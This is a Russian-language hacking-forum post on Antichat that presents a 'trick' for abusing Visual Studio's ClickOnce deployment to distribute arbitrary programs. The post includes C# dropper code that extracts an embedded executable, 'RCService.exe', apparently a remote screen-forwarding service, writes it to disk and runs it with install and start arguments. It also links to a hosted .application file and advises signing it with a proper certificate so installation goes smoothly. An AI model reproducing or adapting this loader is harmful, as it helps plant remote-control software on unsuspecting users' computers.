HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Инструменты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 29.04.2023, 06:06
ser3gun
Новичок
Регистрация: 24.03.2023
Сообщений: 0
С нами: 1654282

Репутация: 0
По умолчанию

Решил совместить полезное с полезным. В Visual Studio есть такая классная вещь как:
ClickOnce — это технология развертывания, позволяющая создавать самообновляющиеся приложения для Windows, которые можно устанавливать и запускать с минимальным вмешательством пользователя. Visual Studio обеспечивает полную поддержку публикации и обновления приложений, развернутых с помощью технологии ClickOnce, если вы разработали свои проекты с помощью Visual Basic и Visual C#. Сведения о развертывании приложений Visual C++ см. в разделе Развертывание ClickOnce для приложений Visual C++ .
Если сделать небольшой финт ушами. то можно эту технологию можно использовать для распространения любых программ. Фокус очень простой - нужно засунуть в ресурсы ехесшник и запускать его примерно так

C#:


Код:
namespace
HostedApp
{
class
Program
{
static
void
Main
(
)
{
ProcessStartInfo
psi
=
new
ProcessStartInfo
(
)
;
//
byte
[
]
x
=
HostedApp
.
Properties
.
Resources
.
RCService
;
string
fileTempLocation
=
"RCService.exe"
;
System
.
IO
.
File
.
WriteAllBytes
(
fileTempLocation
,
x
)
;
//
psi
.
FileName
=
fileTempLocation
;
psi
.
Arguments
=
"-install"
;
psi
.
UseShellExecute
=
true
;
psi
.
WindowStyle
=
ProcessWindowStyle
.
Normal
;
Process
.
Start
(
psi
)
;
//
psi
.
FileName
=
fileTempLocation
;
psi
.
Arguments
=
"-start"
;
psi
.
UseShellExecute
=
true
;
psi
.
WindowStyle
=
ProcessWindowStyle
.
Normal
;
Process
.
Start
(
psi
)
;
}
}
}
Кому интересно в архиве есть проект который очень легко можно изменить под любую прогу. Я применил это к вышеупомянутой проге пересылки экрана. Вот что получилось. http://artik2.chickenkiller.com/HostedApp.application

Во втором архиве подправленый исходник - немного быстрей работает. Если подписать прогу нормальным сертификатом, то установлить действительно удобно.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...